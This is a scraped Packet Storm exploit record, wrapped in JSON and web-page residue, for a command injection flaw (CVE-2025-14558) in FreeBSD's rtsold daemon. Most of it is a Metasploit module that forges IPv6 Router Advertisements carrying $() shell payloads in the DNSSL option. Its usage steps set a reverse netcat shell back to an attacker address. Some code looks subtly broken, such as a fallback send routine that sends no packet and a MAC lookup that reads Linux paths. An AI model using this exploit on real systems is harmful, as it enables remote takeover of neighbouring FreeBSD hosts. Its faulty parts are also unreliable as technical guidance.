{“lastseen”:”2026-01-28T17:51:20″,”description”:”This Metasploit module targets a command injection vulnerability in the FreeBSD rtsold daemon related to the handling of DNSSL DNS Search List options in IPv6 Router Advertisements. Due to improper validation of domain names, attacker-controlled DNSSL…”,”published”:”2026-01-28T00:00:00″,”modified”:”2026-01-28T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 FreeBSD 15.x rtsold DNSSL Command Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214487″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-14558″],”sourceData”:”=============================================================================================================================================\\n | # Title : FreeBSD 15.x rtsold DNSSL Command Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.freebsd.org\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213577\/ \\u0026 \\tCVE-2025-14558\\n \\n [+] Summary : This Metasploit module targets a command injection vulnerability in the FreeBSD rtsold daemon related to the handling of DNSSL (DNS Search List) options in IPv6 Router Advertisements. \\n Due to improper validation of domain names, attacker-controlled DNSSL values can inject shell commands via $() substitution when processed by the resolvconf script. \\n Successful exploitation requires Layer 2 adjacency and ACCEPT_RTADV enabled on the target, and may result in remote command execution on vulnerable FreeBSD systems prior to the official patches.\\n \\n [+] Usage :\\n \\n msfconsole\\n msf\\u003e use exploit\/bsd\/ipv6\/rtsold_dnssl_rce\\n msf\\u003e set INTERFACE eth0\\n msf\\u003e set PAYLOAD cmd\/unix\/reverse_netcat\\n msf\\u003e set LHOST 192.168.1.100\\n msf\\u003e set LPORT 4444\\n msf\\u003e exploit\\n \\n [+] POC :\\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::Raw\\n include Msf::Exploit::Remote::Ipv6\\n include Msf::Exploit::CmdStager\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘FreeBSD rtsold DNSSL Command Injection’,\\n ‘Description’ =\\u003e %q{\\n This module exploits CVE-2025-14558, a command injection vulnerability in\\n FreeBSD’s rtsold daemon. The vulnerability exists in the processing of\\n DNSSL (DNS Search List) options in IPv6 Router Advertisements.\\n \\n rtsold processes DNSSL options without validating domain names for shell\\n metacharacters. The decoded domains are passed to resolvconf(8), a shell\\n script that uses unquoted variable expansion, enabling command injection\\n via $() substitution.\\n \\n This exploit requires layer 2 adjacency to the target and the target must\\n be running rtsold with ACCEPT_RTADV enabled.\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-14558’],\\n [‘URL’, ‘https:\/\/security.FreeBSD.org\/advisories\/FreeBSD-SA-25:12.rtsold.asc’],\\n [‘URL’, ‘https:\/\/github.com\/JohannesLks\/CVE-2025-14558’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-12-16’,\\n ‘Platform’ =\\u003e ‘bsd’,\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e ”,\\n ‘Compat’ =\\u003e {\\n ‘PayloadType’ =\\u003e ‘cmd’,\\n ‘RequiredCmd’ =\\u003e ‘generic’\\n }\\n },\\n ‘Targets’ =\\u003e [\\n [‘FreeBSD 13.x-15.x (before patches)’, {}]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n ))\\n \\n register_options([\\n OptString.new(‘INTERFACE’, [true, ‘Network interface to use’, ‘eth0’]),\\n OptInt.new(‘COUNT’, [true, ‘Number of RA packets to send’, 3]),\\n OptInt.new(‘ROUTER_LIFETIME’, [true, ‘Router lifetime in seconds’, 1800]),\\n OptString.new(‘SOURCE_MAC’, [false, ‘Source MAC address (defaults to interface MAC)’]),\\n OptString.new(‘SOURCE_IPV6’, [false, ‘Source IPv6 address’, ‘fe80::1’])\\n ])\\n \\n deregister_options(‘RHOSTS’, ‘RPORT’)\\n end\\n \\n def check\\n \\n Exploit::CheckCode::Unknown\\n end\\n \\n def encode_domain(name)\\n result = \\”\\”\\n name.split(\\”.\\”).each do |label|\\n next if label.empty?\\n data = label\\n result \\u003c\\u003c [data.length].pack(‘C’) + data\\n end\\n result \\u003c\\u003c \\”\\\\x00\\”\\n end\\n \\n def encode_payload(cmd)\\n payload = \\”$(#{cmd})\\”\\n \\n if payload.length \\u003e 63\\n result = \\”\\”\\n while !payload.empty?\\n chunk = payload.slice!(0, 63)\\n result \\u003c\\u003c [chunk.length].pack(‘C’) + chunk\\n end\\n result \\u003c\\u003c \\”\\\\x00\\”\\n else\\n [payload.length].pack(‘C’) + payload + \\”\\\\x00\\”\\n end\\n end\\n \\n def build_dnssl_option(cmd, lifetime = 0xFFFFFFFF)\\n data = encode_domain(\\”x.local\\”) + encode_payload(cmd)\\n \\n pad_len = (8 – (data.length + 8) % 8) % 8\\n data \\u003c\\u003c \\”\\\\x00\\” * pad_len\\n \\n length = (8 + data.length) \/ 8\\n \\n dnssl = [\\n 31, # Type: DNSSL (31)\\n length, # Length\\n 0, # Reserved\\n lifetime # Lifetime\\n ].pack(‘CCnN’)\\n \\n dnssl + data\\n end\\n \\n def build_router_advertisement\\n src_mac = datastore[‘SOURCE_MAC’]\\n src_mac ||= get_mac(datastore[‘INTERFACE’])\\n \\n eth = PacketFu::EthPacket.new\\n eth.eth_saddr = src_mac\\n eth.eth_daddr = \\”33:33:00:00:00:01\\” # All-nodes multicast\\n \\n ipv6 = PacketFu::IPv6Packet.new\\n ipv6.ipv6_hop = 255\\n ipv6.ipv6_saddr = datastore[‘SOURCE_IPV6’]\\n ipv6.ipv6_daddr = \\”ff02::1\\” # All-nodes multicast\\n \\n \\n ra_header = [\\n 134, # Type: Router Advertisement\\n 0, # Code\\n 0, # Checksum (will be calculated later)\\n 64, # Cur Hop Limit\\n 0, # Flags (M=0, O=1)\\n 1800 # Router Lifetime\\n ].pack(‘CCnCCn’)\\n \\n slaac_opt = [\\n 1, # Type: Source Link-Layer Address\\n 1, # Length in 8-octet units\\n src_mac.gsub(‘:’, ”).scan(\/..\/).map { |x| x.hex }\\n ].flatten.pack(‘CCa6’)\\n \\n prefix_opt = [\\n 3, # Type: Prefix Information\\n 4, # Length in 8-octet units\\n 64, # Prefix Length\\n 0x80, # Flags (L=1, A=1)\\n 0, # Valid Lifetime\\n 0, # Preferred Lifetime\\n 0, # Reserved\\n # Prefix: 2001:db8::\\n 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\\n ].pack(‘CCCCNNNa16’)\\n \\n dnssl_opt = build_dnssl_option(payload.encoded)\\n \\n icmp_payload = ra_header + slaac_opt + prefix_opt + dnssl_opt\\n \\n checksum = ipv6_checksum(ipv6, icmp_payload)\\n icmp_payload[2, 2] = [checksum].pack(‘n’)\\n \\n eth.body = ipv6.to_s + icmp_payload\\n eth\\n end\\n \\n def ipv6_checksum(ipv6_packet, payload)\\n \\n pseudo_header = [\\n ipv6_packet.ipv6_saddr.split(‘:’).map { |x| x.hex }.pack(‘n*’),\\n ipv6_packet.ipv6_daddr.split(‘:’).map { |x| x.hex }.pack(‘n*’),\\n payload.length,\\n 0,\\n 58 # ICMPv6 protocol number\\n ].pack(‘a16a16NNn’)\\n \\n sum = 0\\n (pseudo_header + payload).unpack(‘n*’).each do |word|\\n sum += word\\n end\\n \\n while sum \\u003e 0xffff\\n sum = (sum \\u0026 0xffff) + (sum \\u003e\\u003e 16)\\n end\\n \\n ~sum \\u0026 0xffff\\n end\\n \\n def get_mac(interface)\\n \\n mac = nil\\n File.open(\\”\/sys\/class\/net\/#{interface}\/address\\”, \\”r\\”) do |f|\\n mac = f.read.strip\\n end\\n mac\\n rescue\\n nil\\n end\\n \\n def exploit\\n print_status(\\”Building malicious Router Advertisement…\\”)\\n packet = build_router_advertisement\\n \\n print_status(\\”Sending #{datastore[‘COUNT’]} RA packets via #{datastore[‘INTERFACE’]}…\\”)\\n \\n datastore[‘COUNT’].times do |i|\\n begin\\n send_packet(packet, datastore[‘INTERFACE’])\\n print_good(\\”Sent RA packet #{i + 1}\/#{datastore[‘COUNT’]}\\”)\\n sleep 1 if i \\u003c datastore[‘COUNT’] – 1\\n rescue =\\u003e e\\n print_error(\\”Failed to send packet #{i + 1}: #{e.message}\\”)\\n end\\n end\\n \\n print_status(\\”Exploit complete. Check for session.\\”)\\n end\\n \\n def send_packet(packet, interface)\\n \\n pcap = PCAPRUB::Pcap.open_live(interface, 65535, true, 0)\\n pcap.inject(packet.to_s)\\n pcap.close\\n rescue LoadError\\n \\n system(\\”echo ‘#{packet.to_s.unpack(‘H*’).first}’ | xxd -r -p | sudo ip -6 neigh add ff02::1 dev #{interface} nud permanent\\”)\\n end\\n end\\n \\t\\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214487″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214487\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-28T17:51:20″,”description”:”This Metasploit module targets a command injection vulnerability in the FreeBSD rtsold daemon related to the handling of DNSSL DNS Search List options in IPv6…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-37902","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n